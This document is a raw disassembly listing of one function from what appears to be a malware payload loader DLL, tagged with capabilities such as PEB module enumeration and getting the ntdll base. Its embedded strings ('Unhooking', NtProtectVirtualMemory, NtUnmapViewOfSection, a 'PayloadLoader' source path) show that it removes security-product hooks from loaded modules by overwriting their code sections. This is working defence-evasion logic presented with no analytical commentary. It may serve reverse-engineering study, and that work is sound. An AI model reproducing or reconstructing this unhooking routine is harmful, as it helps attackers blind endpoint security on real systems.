Function at 0x180004db0
Capabilities:
Access peb ldr_data
Enumerate pe sections
Get ntdll base address
Get number of processors

Disassembly:
push rbp
push rsi
sub rsp, 0x78
mov rax, qword gs:[0x60]
xor esi, esi
mov ebp, esi
mov rcx, qword [rax + 0x18]
add rcx, 0x20
cmp dword [0x180008090], esi
mov qword [rsp + 0x30], rcx
je 0x180005330
mov rax, qword [rcx]
mov qword [rsp + 0x50], r14
mov r14, qword [rax]
cmp r14, rcx
je 0x18000532b
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x58], r13
nop word [rax + rax]
cmp ebp, 3
jge 0x180005312
mov rcx, qword [r14 + 0x50]
call fcn.180004ad0
mov r13, qword [r14 + 0x20]
mov r12, rsi
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rsi
mov dword [rsp + 0x90], esi
cmp rax, 0
je 0x180005218
test r13, r13
je 0x180005218
movsxd rdi, dword [r13 + 0x3c]
add rdi, r13
cmp dword [rdi], 0x4550
jne 0x180005218
movzx r15d, word [rdi + 0x14]
add r15, 0x18
add r15, rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180004eec
mov r8, qword [r14 + 0x50]
lea rdx, str._i__Unhooking__ws_...
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov ebx, eax
mov esi, eax
cmp ax, word [rdi + 6]
jae 0x180004f28
nop dword [rax + rax]
movsxd rax, ebx
lea rcx, [rax + rax*4]
lea rcx, [r15 + rcx*8]
call fcn.180001540
cmp eax, 0xa21c1ea3
je 0x180005005
movzx eax, word [rdi + 6]
inc ebx
inc rsi
cmp ebx, eax
jl 0x180004f00
mov r13, qword [rsp + 0x98]
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xa0]
test rdx, rdx
je 0x18000521d
test rcx, rcx
je 0x18000521d
test r12, r12
je 0x18000521d
mov rax, qword [r12]
cmp qword [rcx], rax
jne 0x18000521d
mov rdx, qword [0x180008058]
mov ecx, dword [0x180008050]
call fcn.180005710
lea rax, [rsp + 0x90]
mov r9d, 4
lea r8, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0xa8]
mov rcx, 0xffffffffffffffff
call fcn.180005732
mov ebx, eax
test eax, eax
jns 0x1800050c5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1800050b9
mov edx, 0x5c
lea rcx, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
call fcn.180001e50
test rax, rax
je 0x180005050
mov edx, 0x5c
lea rcx, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
call fcn.180001e50
inc rax
jmp 0x180005057
lea rax, [rsi + rsi*4]
mov edx, dword [r15 + rax*8 + 8]
mov qword [rsp + 0xa0], rdx
mov qword [0x180008108], rdx
mov ecx, dword [r15 + rax*8 + 0xc]
add rcx, r13
mov r13, qword [rsp + 0x98]
mov qword [rsp + 0xa8], rcx
mov qword [0x180008110], rcx
mov r12d, dword [r15 + rax*8 + 0xc]
add r12, r13
mov qword [0x180008118], r12
jmp 0x180004f40
lea rax, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
mov dword [rsp + 0x20], 0xac
lea rdx, str._t____NtProtectVirtualMemory_1__Failed_With_Error:_0x_0.8X____s._d__n
mov r8d, ebx
mov r9, rax
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor esi, esi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [r14]
inc ebp
jmp 0x18000522d
mov r14, qword [r14]
xor esi, esi
inc ebp
jmp 0x18000522d
mov r8, qword [rsp + 0xa0]
mov rdx, r12
mov rcx, qword [rsp + 0xa8]
call fcn.180001db0
mov rdx, qword [0x180008058]
mov ecx, dword [0x180008050]
call fcn.180005710
mov r9d, dword [rsp + 0x90]
lea rax, [rsp + 0x90]
lea r8, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0xa8]
mov rcx, 0xffffffffffffffff
call fcn.180005732
mov ebx, eax
test eax, eax
jns 0x1800051a5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1800050b9
mov edx, 0x5c
lea rcx, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
call fcn.180001e50
test rax, rax
je 0x18000518a
mov edx, 0x5c
lea rcx, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
call fcn.180001e50
inc rax
mov dword [rsp + 0x20], 0xb8
lea rdx, str._t____NtProtectVirtualMemory_2__Failed_With_Error:_0x_0.8X____s._d__n
jmp 0x180005066
lea rax, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
mov dword [rsp + 0x20], 0xb8
lea rdx, str._t____NtProtectVirtualMemory_2__Failed_With_Error:_0x_0.8X____s._d__n
jmp 0x180005066
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000521d
lea rdx, str.___DONE__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor esi, esi
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [r14]
inc ebp
jmp 0x18000522d
mov r13, rax
jmp 0x18000521f
xor esi, esi
mov r14, qword [r14]
inc ebp
test r13, r13
je 0x180005307
mov rdx, qword [0x180008068]
mov ecx, dword [0x180008060]
call fcn.180005710
mov rdx, r13
mov rcx, 0xffffffffffffffff
call fcn.180005732
mov ebx, eax
test eax, eax
jns 0x180005307
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x180005307
mov edx, 0x5c
lea rcx, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
call fcn.180001e50
test rax, rax
je 0x1800052aa
mov edx, 0x5c
lea rcx, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
call fcn.180001e50
inc rax
jmp 0x1800052b1
lea rax, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderUnook.c
mov r9, rax
mov dword [rsp + 0x20], 0xcb
mov r8d, ebx
lea rdx, str._t____NtUnmapViewOfSection_Failed_With_Error:_0x_0.8X____s._d__n
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14, qword [rsp + 0x30]
jne 0x180004e10
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
mov r15, qword [rsp + 0x48]
mov r14, qword [rsp + 0x50]
add rsp, 0x78
pop rsi
pop rbp
ret